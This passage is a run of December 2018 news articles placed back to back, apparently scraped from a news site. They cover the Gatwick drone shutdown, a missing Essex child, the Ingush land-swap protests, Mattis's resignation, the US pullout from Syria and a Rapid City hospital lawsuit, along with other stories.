definitely not a standard, off-the-shelf type drone. "Given what has happened I definitely believe it is a deliberate act, yes," he said on BBC radio. "We also have the helicopter up in the air but the police advice is that it would be dangerous to seek to shoot the drone down because of what may happen to the stray bullets." Under British law it is illegal to fly drones within 1 km (0.62 mile) of an airport boundary. The offence is punishable by up to five years in prison. Policing airport commander Burtenshaw said the police were exploring other options to try and bring the situation to a close. He said he was confident of tracking down whoever was behind the drones, but it wouldn't be easy. "It's a painstaking thing with the new drones; the bigger the drones the further the reach of the operator so it's a difficult and challenging thing to locate them." SAFETY FIRST Gatwick apologised on Twitter to affected passengers, adding that safety was its "foremost priority". Tens of thousands of passengers were affected, with hundreds of thousands of journeys likely to be disrupted in the coming days, the airport said. Gatwick, which competes with Europe's busiest airport, Heathrow, west of London, had previously said Sunday would be its busiest day of the festive period. There have been multiple reports of drone sightings since the initial report on Wednesday evening, Gatwick said. The runway briefly appeared to reopen around 0300 GMT before drones were spotted again. Kochiashvili, who had been due to fly to Tbilisi, Georgia, on Wednesday, said she had spent six hours overnight sitting on a plane which did not take off. "I'm very annoyed because I'm with two kids, a three-month-old and three-year-old. They require a lot of space and food and changing and all that, and the airport is crazy busy so it's challenging. There's literally zero information being shared," she told Reuters by phone. Passengers took to Twitter to share their stories. One waiting at the airport on Thursday said: "At Gatwick Airport, drone chaos, surprisingly good natured, but complete mayhem." Undated family handout issued by Olly's father, Patrick Sheridan, of Ellie YarrowSanders with her three-year-old son Olly Sheridan, who have gone missing. Photo: Patrick Sheridan/PA Wire Undated family handout of Olly Sheridan and his father Patrick Photo: Patrick Sheridan/PA Wire Undated family handout issued by father Patrick Sheridan, of three-year-old Olly, who has gone missing Photo: Patrick Sheridan/PA Wire A civil engineer whose three-year-old son has gone missing with his former partner says he is enduring a "living nightmare". Patrick Sheridan, 45, who has not seen son Olly Sheridan or ex-partner Ellie Yarrow-Sanders for months, says he is "sick with worry". Expand Close Undated family handout of Olly Sheridan and his father Patrick Photo: Patrick Sheridan/PA Wire / Facebook Twitter Email Whatsapp Undated family handout of Olly Sheridan and his father Patrick Photo: Patrick Sheridan/PA Wire Miss Yarrow-Sanders, 26, vanished with Olly in July while embroiled in family court litigation, centred on the little boy, with Mr Sheridan. A High Court judge who has analysed the case at a hearing in the Family Division of the High Court in London on Wednesday issued an urgent appeal for information about Olly and his mother. Mr Justice Williams said he was gravely concerned. Family court hearings have been staged in private and journalists have been barred from identifying family members, who come from the Basildon area of Essex, involved. Expand Close Undated family handout issued by Olly's father, Patrick Sheridan, of Ellie YarrowSanders with her three-year-old son Olly Sheridan, who have gone missing. Photo: Patrick Sheridan/PA Wire / Facebook Twitter Email Whatsapp Undated family handout issued by Olly's father, Patrick Sheridan, of Ellie YarrowSanders with her three-year-old son Olly Sheridan, who have gone missing. Photo: Patrick Sheridan/PA Wire But Mr Justice Williams said he was lifting the identity bar in the hope that publicity would help find Olly and Miss Yarrow-Sanders. Mr Justice Williams said his level of concern was such that he had decided to make Olly a ward of court - a move which places responsibility for a child directly in a judge's hands. He urged Miss Yarrow-Sanders to return Olly and said evidence showed that children who were abducted by parents suffered long-term emotional consequences. "We're trying everything to find Olly but it is clear that extensive steps have been taken to conceal where he is," said Mr Sheridan. "He's been gone for months now and I miss him every single day. "It's just been a living nightmare no parent should have to go through and I'm sick with worry". He added: "The run up to Christmas has been unbearable." Mr Sheridan went on: "My message to Ellie is simple: 'Please come back so that we can see Olly's alright'." He said there was evidence to suggest that Olly and Miss Yarrow-Sanders might have been to Huddersfield, West Yorkshire. Her family also had links to London and King's Lynn, Norfolk, he said. Mr Sheridan is being represented by specialist lawyers from law firm Irwin Mitchell. Barrister Andrew Bagchi QC, who is leading his legal team, had asked Mr Justice Williams to allow detail of the case to be made public in the hope of finding Olly and Miss Yarrow- Sanders. An Irwin Mitchell spokesman said Miss Yarrow-Sanders and Olly had gone missing in July. They had vanished shortly before Miss Yarrow-Sanders was due to give evidence at a "critical" family court hearing in Chelmsford, Essex, he said. He said all attempts to find the pair had proved fruitless and Miss Yarrow- Sanders had defied judges' orders to return Olly. On September 26, the heads of Ingushetia and Chechnya, Yunus-Bek Yevkurov and Ramzan Kadyrov, signed an agreement on a proposed land swap between the two Northeast Caucasian republics. While the Chechen public welcomed the plan, which was kept secret until it was signed, the agreement sparked unprecedented protests in Ingushetia. Several thousand Ingush protesters in the republics capital Magas have found sympathy from both Ingush siloviki and the public in their resistance to the deal. With bottom-up opposition to the land swap spreading in Ingushetia, this Maidan in Russias geographically and demographically smallest republic may have far-reaching implications not only for Ingushetia and Chechnya, but also for the rest of the Russian Federation. BACKGROUND: After the de facto dissolution of the Chechen-Ingush Autonomous province in the early 1990s, the administrative border between both entities has not been properly delineated. Thus, there has been an objective need to demarcate the border between two ethno-linguistically similar populations. Yet, Chechnyas strongman Kadyrov is notorious for his attempts to enlarge Chechnya by expanding westward (to Ingushetia, Sunzhensky District) and eastward (to Dagestan, the Aukh/Novolaksky district) which, according to him and Chechen historians, are ancient Chechen lands. Importantly, the 1999 invasion of Dagestani-Chechen jihadists into western Dagestan was interpreted by some Dagestanis as part of the Chechens grand plan to annex Dagestani territory. This has sparked conflicts with the neighboring ethnic groups, further boosted by Kadyrovs accusations voiced about a decade ago that Chechen jihadists had taken advantage of a flabby approach by Ingush and Dagestani authorities on the contested borderland. Kadyrov has also implicitly laid claim to the Ingush legacy the picturesque, wooded and mountainous Sunzhen district with ancient towers that Kadyrov has often presented as Chechen. Against this backdrop, without any public discussion, an agreement was signed between Kadyrov Yevkurov on the demarcation of the border between the republics, with Ingushetia yielding the Sunzhensky district to Chechnya and Chechnya yielding parts of the flat and agricultural Nadterechny district to Ingushetia. The agreement was ratified by the Chechen parliament. However, its signing in the Ingush parliament was fraught with controversy: pro-regime media first announced that it passed, which was then challenged by Ingush parliamentarians. Almost certainly, the agreement was not legally adopted, and authorities had to forge the outcome. This mobilized thousands of Ingush, who took to the streets in front of the Ingush parliament in the capital Magas. Several teips or clans expressed their concern over the agreement and their unwillingness to give up their ancestral lands to Chechnya. Ingush OMON were deployed to Magas, blocking the roads to the parliament in an attempt to halt the popular uprising, with some OMON firing warning shots to calm the protestors. Rosgvardia (National Guard) troops deployed to Ingushetia from other parts of the North Caucasus were reportedly blocked by Ingush OMON from entering the capital, with some OMON taking the side of the protesters or expressing support for them. Dozens of Ingush have traveled from parts of Russia to Magas to stand with their co-ethnics in what appears to be an all-Ingush expression of discontent. Regime-backed attacks against some high-profile protestors, e.g. human rights defenders, have also worsened the image of the authorities among the masses. Heated nationalist-laden debates have played out in social media between the brotherly Chechens and Ingush, although some have put the blame exclusively on the Chechen and Ingush authorities and their secretive deal. Some Ingush intellectuals have expressed doubt that parts of Chechnya will indeed be handed over to Ingushetia despite Kadyrovs claims to keep all Chechen lands under his control. The heated standoff has been further aggravated by Kadyrovs implicit threats, made in the Chechen language on Chechen TV, that if needed, the Chechens would go to war (against the Ingush). IMPLICATIONS: This is the first outbreak of popular discontent in the North Caucasus in a long time. Since Moscow has cultivated an allergic attitude toward manifestations of Maidan within its realm, the protesters increasingly frequent calls for Yevkurovs resignation could create a dangerous standoff. From Moscows and Magass perspective, this standoff is made even worse by the fact that significant numbers of Ingush OMON are siding with the protestors and remain determined to prevent non-Ingush troops from entering the capital or the republic. Should the Ingush military persist in its efforts to disallow outsiders to restore constitutional order in Ingushetia, this would send a bold message to other parts of Russia, setting a precedent that is seen as malignant in Moscow. The locals may force Yevkurov to resign, which is also damaging to Moscow. If the outsider troops do break the opposition of the Ingush OMON, this would most likely cause bloodshed, with locals mobilizing to help their troops in this highly socially-conservative part of Russia with a population of 300,000. An invasion of Chechen OMON into Ingushetia would further exacerbate the situation, with a prospective fratricidal conflict destabilizing the region. The situation in Ingushetia, with its relative liberty and the existence of strong opposition forces and media, is the extreme opposite of Chechnya where no dissent has survived and signs of public discontent are severely punished by the Kadyrov regime. To save face and mitigate discontent, Ingush authorities would have to back away from the agreement, a prospect unacceptable to Kadyrov with his closely guarded reputation of a strongman. A stalemate could thus emerge in Ingushetia with far-reaching consequences extending to the borders of this tiny Northeast Caucasian republic. The entire land swap issue is further complicated by Kadyrovs frequent interference in Ingush domestic politics. The well-publicized ongoing standoff between Yevkurov and the head of Ingush Muftiate, Isa Khamkoev, has been continuously fueled by Kadyrovs open backing of the Muftiate, which the Chechen leader sees as an extension of the Chechen Muftiate. Prior to the September 9 elections in Ingushetia, Kadyrov openly endorsed the head of the Muftiate against Yevkurov. Kadyrov also has a history of criticizing Yevkurov for his efforts to initiate dialogue with Ingush Salafis and even to participate in peace talks with Islamist militants in the republic. Kadyrov has interpreted these efforts as signs of Yevkurovs weakness and inability to take full control of the situation in the republic. Chechen authorities perceive the current protests against Yevkurov as yet another sign of weakness. Despite Yevkurovs recent reelection for another term in office, he has emerged as incapable of communicating his policies with the nation. By contrast, Kadyrov has received the full backing of the Chechen public on the land exchange deal. The land swap was eagerly approved not only by the Chechen elites, but also by Chechen historians and academics, some of whom are based in other regions of Russia. In an unprecedented message, the Chechen emigre Diaspora in Western Europe rendered their support for Kadyrovs actions. This is indeed the first time that the Chechen Diaspora primarily consisting of anti-Kadyrov asylum seekers has openly endorsed Kadyrovs policies. The key argument of the Chechen side rests upon the assumption that the current land swap was first agreed by the late Chechen leader Dzokhar Dudayev and former Ingush president Ruslan Aushev in the early 1990s. CONCLUSIONS: Since Ingush protesters in Magas appear unwilling to give in, the land swap question will likely put Yevkurovs leadership to a serious test. The fact that federal authorities prohibited dispersing the protesters and President Putin personally stated that force should not be used against protesters emphasizes the complexity of the situation. Although Yevkurov continually employs all possible approaches to achieve compromise with the protesters including using elders as intermediaries it becomes obvious that he will have to make concessions in order to retain his job. Yevkurovs bitter conflict with the republics clergy makes matters even worse, as the head of Ingushetia is unable to rely on religious leaders to negotiate with largely Sufi protesters. AUTHORS BIO: Emil A. Souleimanov is Associate Professor at the Department of Security Studies, Institute of Political Studies, Faculty of Social Sciences, Charles University. His recent publications include Irans Azerbaijan Question in Evolution: Identity, Society, and Regional Security. Huseyn Aliyev is a Research Fellow at the School of Social and Political Sciences, University of Glasgow. Image Source: onkavkaz.com accessed on 12.18.2018 The French government has bowed to police demands for a salary boost and years of overtime pay after officers staged a series of protests, including at the main Paris airport. Police have been massively overstretched after weeks containing protests by the grassroots yellow vest movement. A deadly attack last week near the Strasbourg Christmas market has led to increased holiday surveillance around France, adding to demands on officers. The Interior Ministry said on Thursday that two days of meetings with police unions produced an agreement to boost pay. Unions said President Emmanuel Macrons government also agreed to pay 275 million euros (247 million) in back overtime pay, but details have yet to be worked out. Expand Close The yellow vest protesters march near the Champs Elyses (Kamil Zihnioglu/AP) / Facebook Twitter Email Whatsapp The yellow vest protesters march near the Champs Elyses (Kamil Zihnioglu/AP) Unions welcomed the deal. But some police are still calling for a protest on Thursday near the Champs-Elysees, a flashpoint of recent rioting. It comes as authorities said a ninth person has been killed in the yellow vest protests. Interior minister Christophe Castaner said the victim was a protester killed in the south-west city of Agen. Calling for calm, Mr Castaner said: This must stop. Nine dead. Politician Olivier Damaisin said the protester was hit by a truck and had been a local yellow vest movement leader. Eight others have died in incidents tied to the movement, mostly from traffic accidents linked to roadblocks. US defence secretary Jim Mattis is stepping down from his post, President Donald Trump has announced. It comes after Mr Trump overruled his advice against pulling troops out of Syria and pressed forward on discussions to withdraw forces from Afghanistan. Mr Mattis will leave by the end of February after two tumultuous years struggling to soften and moderate the presidents hardline and sometimes sharply changing policies. He told Mr Trump in a letter that he was leaving because you have a right to have a secretary of defence whose views are better aligned with yours. Mr Trump said in a tweet the defence secretary was retiring. The announcement came a day after Mr Trump surprised US allies and members of Congress by announcing the withdrawal of all troops from Syria, while he continues to consider shrinking the American deployment in Afghanistan. Mr Trumps decision to pull troops out of Syria has been sharply criticised for abandoning Americas Kurdish allies, who may well face a Turkish assault once US troops leave, and had been staunchly opposed by the Pentagon. Mr Mattis, in his resignation letter, emphasised the importance of standing up for US allies. While the US remains the indispensable nation in the free world, we cannot protect our interests or serve that role effectively without maintaining strong alliances and showing respect to those allies, Mr Mattis wrote. Secretary Mattis has been an island of stability amidst the chaos of the Trump administrationSenate intelligence committee vice-chairman Mark Warner His departure was quickly lamented by foreign policy hands on both sides of the aisle. Last year, Republican senator Bob Corker a frequent critic of the president said Mr Mattis, along with White House chief of staff John Kelly and then-secretary of state Rex Tillerson, were helping separate our country from chaos. Mr Tillerson was fired early this year and Mr Kelly is to leave the White House in the coming days. This is scary, Senate intelligence committee vice-chairman Mark Warner said on Twitter. Secretary Mattis has been an island of stability amidst the chaos of the Trump administration. Expand Close Part of Defence Secretary Jim Mattiss resignation letter to Donald Trump (Jon Elswick/AP) / Facebook Twitter Email Whatsapp Part of Defence Secretary Jim Mattiss resignation letter to Donald Trump (Jon Elswick/AP) Mr Mattiss departure has long been rumoured but officials close to him had insisted the battle-hardened, retired marine would hang on. A White House official said Mr Mattis informed Mr Trump of his decision to leave the administration on Thursday afternoon. Mr Trump said a replacement would be chosen soon. At the start of the Trump administration, the president had gushed about his respect for Mr Mattis, repeatedly calling him Mad Dog, despite Mr Mattiss own public insistence that the moniker was never his. Instead, his nickname for years was CHAOS, which stood for Colonel Has An Outstanding Suggestion, and reflected Mattis more cerebral nature. The two quickly clashed on major policy decisions. During his first conversations with Mr Trump about the Pentagon job, Mr Mattis made it clear he disagreed with his new boss in two areas. He said torture does not work, despite Mr Trumps assertion during the campaign that it did, and he voiced staunch support for traditional US international alliances, including Nato, which the president repeatedly criticised. Poppies fall through the atrium of the Lloyds building during the Lloyds of London Armistice commemoration service. Lloyds of London has named a financial services veteran to lead its new post-Brexit Europe hub in Brussels. The insurance market has appointed Sonja Rottiers as chief executive of its Brussels subsidiary from February. She will also be Lloyds regional director for Europe, Middle East and Africa. Ms Rottiers succeeds Vincent Vandendael as the Brussels subsidiarys new boss after he left shortly after his appointment to join Everest Insurance. The 300-year old Lloyds market first announced plans for Brussels as the location of its post-Brexit EU subsidiary last year, and had its licence approved this past May. Lloyds, like other financial services companies, are setting up or expanding bases in the EU due to Britains departure from the European Union. The Brussels subsidiary will start writing business in the European Economic Area from January 1. Lloyds said Ms Rottiers, whose has over 30 years experience in the Belgian financial services industry, was previously an executive at insurance giant Axa. Most recently she was a non-executive board member for banking group INGs Belgian arm. Expand Close Lloyds of London has appointed Sonja Rottiers as CEO of its Brussels subsidiary (photo provided by Lloyds). / Facebook Twitter Email Whatsapp Lloyds of London has appointed Sonja Rottiers as CEO of its Brussels subsidiary (photo provided by Lloyds). Lloyds has also added to its Brussels team and has appointed Michel Flamee as chairman and Christian Noyer as a non-executive director. Mr Flamee was a director of National Bank of Belgium, while Mr Noyer was previously governor of the Bank of France and is an adviser to the French government on issues related to Brexit. Lloyds has also poached Axas Delphine Marchessaux as the Brussels subsidiarys new chief underwriting officer. Lloyds Chief Executive John Neal, who recently joined in October, said Ms Rottierss wealth of experience across the financial services industry and in leading companies ensures she is well positioned to drive our business forward in Europe. Lloyds Brussels marks a major milestone for Lloyds. Now that it is already placing and processing European business, Sonja will focus on ensuring that it is also well positioned to grow as a customer-focused European insurance company. Ms Rottiers added: I am looking forward to the new opportunities that Lloyds Brussels will bring to the market, and to help grow our business in the continent. Uncovered: An Israeli soldier lowers a camera into what officials claim is a tunnel dug by Hezbollah linking Lebanon and Israel. Photo: JACK GUEZ/AFP/Getty Images Israel's prime minister yesterday called on the UN Security Council to condemn "wanton acts of aggression" by the Lebanese militant group Hezbollah, designate it a terrorist organisation and heighten sanctions on it over tunnels it has dug into Israel. Benjamin Netanyahu said the council should "stand up for the truth" when it meets to discuss the tunnels Israel recently uncovered on the Lebanon border during Operation Northern Shield The Israeli military is engaged in the open-ended operation to identify and destroy the cross-border passageways, of which four have already been uncovered. Israel said they were built by Hezbollah militants to carry out attacks on Israeli civilians and conquer its northern tip. "This is not merely an act of aggression. This is an act of war," Mr Netanyahu said. "The people of Lebanon have to understand that Hezbollah is putting them in jeopardy and we expect Lebanon to take action against this." Hezbollah, which has used such tunnels inside Lebanon before, has yet to comment. Israel has long called for a crackdown on the Iranian-backed Hezbollah, a heavily armed mini-army that is believed to possess an arsenal of some 150,000 rockets that can reach nearly all of Israel. The two sides are bitter enemies and fought an inconclusive month-long war in 2006. In recent years, Hezbollah has been bogged down in fighting on behalf of Bashar al-Assad's regime in Syria. But with that civil war winding down, Israeli security officials fear it is now refocusing its attention on Israel. Mr Netanyahu said Hezbollah was currently using every third house in villages in southern Lebanon for hiding missiles or other military activity. He called their activity a "double war crime" since it threatened to harm Israeli civilians and put Lebanese civilians in danger as well. Yesterday, the Israeli military escorted reporters along the Israel-Lebanon border to the site of one of the tunnels near the town of Metula. Israeli soldiers lowered cameras 26 metres into the mouth of a tunnel they said was emanating from the Lebanese village of Kafr Kela just a few hundred metres away. Mr Netanyahu is demanding the UN's peacekeeping force in Lebanon take action against Hezbollah's violation of UN Security Council resolutions banning it from conducting military activity in southern Lebanon. The UN said that two of the tunnels allegedly dug by Hezbollah cross the border in violation of the ceasefire agreement that ended Israel's 2006 war with Hezbollah. Though it appeared Lebanon was unaware of the Hezbollah tunnel network, Mr Netanyahu said it knew about it now and was required to neutralise it for its own country's sake. "The fact that the Lebanese army is doing nothing means they are unable or unwilling or both to do anything about this. But it doesn't absolve Lebanon's culpability," he said. Lebanon's foreign ministry said it was concerned about the UN report about the tunnels crossing the border. It said the Lebanese army had been asked to "intensify its activities" along the border. It also said the council should hold Israel accountable for its violations of Lebanon's air, land and sea space. Pope Francis accepted the resignation of a bishop in Los Angeles accused of sexually abusing a minor, the Vatican said yesterday, in the latest case of clergy misconduct to shake the US Catholic Church. A brief Vatican statement said Alexander Salazar (69), an assistant bishop in Los Angeles, was stepping down. It also distributed a letter on the case written by current archbishop of Los Angeles, Jose Gomez. The US Catholic Church is still reeling from a grand jury report that found that 301 priests in the state of Pennsylvania had sexually abused minors over a 70-year period. There will be a major meeting at the Vatican in February on the global sex abuse crisis. Dr Gomez's letter to the faithful said that in 2005, a year after Bishop Salazar became bishop, the archdiocese had become aware of a claim that Bishop Salazar had engaged in "misconduct with a minor" in a parish in the 1990s. Police investigated but did not prosecute, the letter said, adding that Bishop Salazar, from Costa Rica, "has consistently denied any wrongdoing". The archdiocese's independent Clergy Misconduct Review Board found the allegation "credible" and informed the Vatican. The Archdiocese of Los Angeles said Bishop Salazar's name resurfaced after Dr Gomez became archbishop in 2011, and ordered a review of past allegations. It said Dr Gomez's predecessor, Cardinal Roger Mahoney, sent the case to the Vatican's Congregation for the Doctrine of the Faith (CDF), which investigates abuse cases. The CDF "permitted Bishop Salazar to remain in ministry subject to certain precautionary conditions". It did not elaborate on what these were. Elon Musk: Billionaire is behind the Boring Company and Tesla. Photo: Robyn Beck/Pool via REUTERS Elon Musk has unveiled a tunnel underneath Los Angeles which the billionaire says is a milestone towards eliminating traffic in congested cities. At an event, Mr Musk's 'The Boring Company' unveiled a 12-foot-wide, 1.6km test tunnel in Hawthorne, California. It will transport passengers travelling in Tesla cars, modified to fit onto a track, that can travel at up to 80kmh, although Mr Musk said future tunnels could transport people at 240kmh. The Boring Company, which Mr Musk set up to bore holes underneath cities after becoming exasperated at traffic in Los Angeles, eventually plans to build loops of two-way tunnels underneath cities with entry and exit points for passengers. As well as Tesla cars that will transport pedestrians, Mr Musk said motorists would be able to drive their own vehicles into future tunnels, as long as they are modified to fit on its track - an upgrade that would cost between $200 and $300 (175-260). Cars and passengers will also be able to board and exit the tunnels through ramps and lifts at thousands of locations around the cities, with rides costing around $1. The tunnels could also be used for utilities and water supplies, he said. The Boring Company says its loops will transport around 4,000 cars an hour. Mr Musk, also the chief executive of electric car maker Tesla and rocket company SpaceX, has dedicated time in the last two years to The Boring Company, despite multiple controversies at Tesla. The company plans to build its first full loop in Chicago. Creating a 30km two-way tunnel for passenger vehicles is likely to cost $1bn (875m). It is also working on further tunnels in Los Angeles and Las Vegas, and is receiving inquiries from cities around the world. The Boring Company, which is majority owned by Mr Musk, was given special permission by the City of Hawthorne to build its test site, although the development has been criticised by residents. 'With nine of the state's 21 Senate seats also held by women, it means 32 of the 63 total seats in the state legislature will be held by a female representative' (stock photo) Nevada has become the first US state to have a female majority in its legislature. The appointments of Rochelle Nguyen and Beatrice Angela Duran to the State Assembly by commissioners in Clark County mean women will now have 23 of the 42 available seats. Their seats are being vacated by Chris Brooks, who is leaving after he was appointed to the state Senate, and Olivia Diaz, who is pursuing a city council seat in Las Vegas, 'The Nevada Independent' reported. With nine of the state's 21 Senate seats also held by women, it means 32 of the 63 total seats in the state legislature will be held by a female representative. The appointments come after female representation on state legislative bodies across the country's 50 states reached 25.3pc earlier this year, or 1,866 of the 7,383 available seats. Three new developments underscore that US President Donald Trump's power, like sand through an hourglass, is steadily falling. All of the usual tricks - distraction, lying, photo ops - will not reverse the downward trend. Perhaps the worst blow yet to Mr Trump occurred in a federal courtroom. In advance of his sentencing hearing, former national security adviser Michael Flynn suggested that US District Judge Emmet Sullivan take into account the fact that he was not specifically told of the obligation to tell the truth. The judge was infuriated, noting that Flynn already pleaded guilty to deliberately giving false answers to the FBI agents investigating his contacts with Russia. The judge let him have it, as the 'Washington Post' reports: "Flynn's attorneys asked for [a] delay after Judge Emmet Sullivan accused Flynn of acting as 'an unregistered agent of a foreign country, while serving as the national security adviser to the president of the United States' - an allegation he later took back. "Sullivan granted the request and asked for a status report in 90 days, though he said he was 'not making any promises' that he would view the matter differently in three months. Sullivan also asked a prosecutor with the special counsel's office whether Flynn could be charged with 'treason'." The judge postponed the sentencing, leaving the distinct possibility that Flynn could face jail time. The turn of events decimated the notion that Mr Trump's associates' crimes are small beans. That wasn't the only calamity of the day. Mr Trump is in the process of folding on his border wall, for which he lacks political support. His press secretary declared: "We don't want to shut down the government, we want to shut down the border." Her boss had said otherwise. Sarah Sanders insisted the money could be found elsewhere. That's a fairy tale aides or Congress might tell Trump, or he might tell himself. He cannot just do it. He needs Congress to authorise money that can be spent on his signature project. He cannot force them to do so. Likely House speaker-to-be Nancy Pelosi and Senate Minority Leader Chuck Schumer called his bluff. He blinked. He will not get the one specific item he vowed to deliver for his rabid anti-immigrant base. This is what losing looks like. There was also bad news for Mr Trump from the New York state attorney general. The 'Post' reports: "President Trump has agreed to shut down his embattled personal charity and to give away its remaining money amid allegations that he used the foundation for his personal and political benefit, New York Attorney General Barbara Underwood announced. "Underwood said that the Donald J Trump Foundation is dissolving as her office pursues its lawsuit against the charity, Trump and his three eldest children. "The suit, filed in June, alleged 'persistently illegal conduct' at the foundation and sought to have it shut down. "Underwood said her investigation found 'a shocking pattern of illegality involving the Trump Foundation - including unlawful co-ordination with the Trump presidential campaign, repeated and wilful self-dealing, and much more'." By agreeing to close the foundation, Mr Trump seems to give credence to Ms Underwood's allegations. The existence of an illegal slush fund would knock out most politicians. With Mr Trump, it is one more instance of contempt for the law and assertion of personal interests over public obligations. In sum, we saw just how little power Mr Trump has over events. The prosecutors are closing in, his finances are being scrutinised, and he can't even tell his base he delivered on the wall. Never has he looked so small and so weak. Washington Post On the move: Syrian Democratic Forces and US troops are seen during a patrol near the Turkish border in Hasakah, Syria. Photo: REUTERS/Rodi Said Donald Trump has declared the US has "defeated" the Islamic State (Isil) and is reportedly preparing to immediately withdraw all American forces from Syria. "We have defeated [Isil] in Syria, my only reason for being there during the Trump presidency," Mr Trump said on Twitter. The decision could undermine the effort to wipe out the last vestiges of the jihadis, as well as US hopes of countering Iran's presence in Syria. The US has around 2,000 troops in Syria and has begun informing American allies of the withdrawal, according to the reports. The decision appears to show Mr Trump has decided to follow his own instincts over the advice of US security officials, who believed it was important to maintain a long-term presence in Syria. Mr Trump said in March that US forces would be "coming out of Syria like very soon" but was persuaded not to order an immediate pull-out. As recently as September, US officials said Mr Trump was committed to an ambitious policy of staying in Syria until the end of the civil war to prevent Iran from extending its reach in the Middle East. The decision is likely to dismay America's Kurdish allies, who have been fighting alongside US troops to drive Isil fighters from their last pockets of territory in eastern Syria. The American military presence has somewhat shielded them from attacks by Turkey, which considers most of America's Kurdish partners to be terrorists. Recep Tayyip Erdogan, Turkey's president, has been threatening to launch a new offensive against the Kurds in northern Syria. The decision is also likely to be a frustration for Israel, which saw the US presence in Syria as a way of counterbalancing Iran's own deployment in the country. Israel has carried out dozens of airstrikes against Iranian and Hezbollah sites in Syria as part of its policy of trying to prevent Iranian entrenchment in the country. Separately yesterday, it was reported that Mr Trump signed a letter of intent to begin negotiations over building a Trump Tower in Russia, a leaked document has revealed, despite the president's lawyer insisting no such signature existed. The 2015 letter, obtained by CNN, was a precursor for planned talks between the Trump Organisation and IC Expert Investment, the Russian firm that would have been responsible for developing the project. On Sunday, Rudy Giuliani, Mr Trump's lawyer and chief representative on TV, admitted the existence of the letter, but insisted "no one signed it". Mr Trump himself appeared to refer to the letter in November, suggesting it had been signed instead by his former lawyer Michael Cohen. "I don't even remember it," he said. But the document, which has been made public, does appear to feature the president's idiosyncratic signature, as well as that of Andrey Rozov, owner of IC Expert Investment. On the 2016 presidential campaign trail, Mr Trump denied having any business interests in Russia, claiming repeatedly he had "nothing to do" with the country. But the project, which was ultimately scrapped, would have handed the Trump Organisation a $4m (3.5m) fee, a cut of future sales, and control over marketing and design of what would have been condominiums, a hotel and commercial space in the heart of Moscow. It would also have given the Trumps the opportunity to name the hotel spa after Mr Trump's daughter Ivanka. Mr Cohen admitted last month he misled Congress when he claimed talks on the tower had ended months before his then-boss won the Republican Party's presidential candidacy in June 2016. Court documents filed by the special counsel investigating Trump team links to Russia show Mr Cohen had discussed plans for the tower "as late as approximately June 2016", and had done so directly with the president multiple times. Last week, Mr Giuliani suggested conversations between Mr Trump and Mr Cohen over the deal may have even gone on until November of that year, the month of the election. The publication of the letter vindicates Mr Cohen, who told congress in 2017 Mr Trump had signed the document. Donald Trump Jr also testified it had been signed by his father. The Moscow project is important because it was being pursued with Russian officials while Mr Trump was forging ahead in the race to become president. During that time, he praised the Russian president as "brilliant" and a "strong leader", and said he would have a "great relationship" with the Kremlin. The White House has been contacted for comment. Russia's Ministry of Foreign Affairs accused the United States of forcing Russian national Maria Butina to falsely confess to what it described as the ridiculous charge of her being a Russian agent. Butina (30) had pleaded guilty in a US court to a single conspiracy charge in a deal with prosecutors. The Siberian admitted working with a top Russian official to infiltrate a US gun rights group and to making inroads with conservative activists and politicians as an agent for Moscow. A spokeswoman for the Russian foreign ministry said Butina had been coerced into making a false confession. "Having created unbearable conditions for her and threatening her with a long jail sentence, she was literally forced to sign up to absolutely ridiculous charges," she said. The US's main ally in Syria has warned that the withdrawal of American troops will lead to a resurgence of the extremist Islamic State group. The Kurdish-led Syrian Democratic Forces said in a statement that a premature US troop pullout would have dangerous repercussions and a destabilising effect on the region. "The war against Islamic State has not ended and the Islamic State has not been defeated," the statement said. It was the first official comment by the group on US President Donald Trump's surprise announcement. Mr Trump's decision to withdraw troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling IS. With US air support, the Kurds drove IS from much of northern and eastern Syria in a costly four-year campaign. Kurdish officials and commanders met into the night, discussing their responses to the decision, local residents said. Arin Sheikmos, a Kurdish journalist and commentator, said "we have every right to be afraid". "If the Americans pull out and leave us to the Turks or the (Syrian) regime, our destiny will be like the Kurds of Iraqi Kurdistan in 1991 - millions of refugees, there will be massacres. Neither the regime, not Iran nor Turkey, will accept our presence here," he said. Mr Trump's decision to withdraw is widely seen as an abandonment of a loyal ally. Turkish President Recep Tayyip Erdogan has repeatedly threatened to launch a new offensive against the Kurds. The threat from Turkey could drive the Kurds into the arms of Syrian President Bashar Assad, and by extension Iran and Russia. Turkey views the People's Protection Units (YPG), the main component of the Syrian Democratic Forces, as a terrorist group and an extension of the insurgency within its borders. US support for the group has strained ties between the two Nato allies. "This is expected," Ebrahim Ebrahim, a Syrian Kurd based in Europe, said of the pullout. "But it is not just treason to the Kurds or the people of Syria but to democracy, to morals, if this is true. Yes, true, we fought for ourselves, but we also fought for democracies all over the world," he added. A Syrian member of parliament, Peter Marjana, said a US pullout would be a "recognition that Syria has won". Mr Trump's contention that IS has been defeated contradicted his own experts' assessments and shocked his party's politicians, who called his decision rash and dangerous. The US began air strikes against IS in Syria in 2014, and later sent in ground troops to aid Kurdish forces. Mr Trump abruptly declared their mission accomplished in a tweet. Send to Email Address Your Name Your Email Address Post was not sent - check your email addresses! Email check failed, please try again Sorry, your blog cannot share posts by email. Judge dismisses Sioux San injunction Case called prematureBy Ernestine Chasing HawkNative Sun News Today Staff Writer RAPID CITY A judge called a case heard in federal court last week premature and dismissed a motion for an emergency injunction filed to stop the Great Plains Tribal Chairmens Health Board from taking control of Sioux San Hospital Charmaine White Face a member of the Oglala Sioux Tribe and resident of Rapid City filed the case against Indian Health Service and the Great Plains Tribal Chairmens Health Board asking for a permanent injunction that would stop the transfer of management of Sioux San from IHS to the GPTCHB via a PL93 638 Indian Self Determination Contract. The case was heard in Federal Court last Thursday December 13 , before the Honorable Judge Jeffrey Viken. White Face cited treaty violations and a lack of consultation with the Rapid City Urban Indian community who utilize Sioux San as a basis for her lawsuit. White Face was represented by Dr. Patrick Lee, former faculty at Oglala Lakota College and former OST Judge who is also a member of the Oglala Sioux Tribe and a resident of Rapid City. The main entrance to the Sioux San Hospital, an Indian Health Service facility in Rapid City, South Dakota. Photo by Kevin Abourezk The pair brought into question whether three tribes, the Cheyenne River Sioux Tribe, the Rosebud Sioux Tribe and the Oglala Sioux Tribe, have jurisdiction and decision making power over tribal members living off the reservation in Rapid City and the surrounding Black Hills. The question seems simple but the answer appears to be more complicated. According to IHS, 80 percent of the 22,000 patients who utilize Sioux San are members of these three tribes and the reason cited as to why the Unified Health Board, made up of representatives from the three tribes, were given statutory oversight of the Rapid City Indian Health facility on the 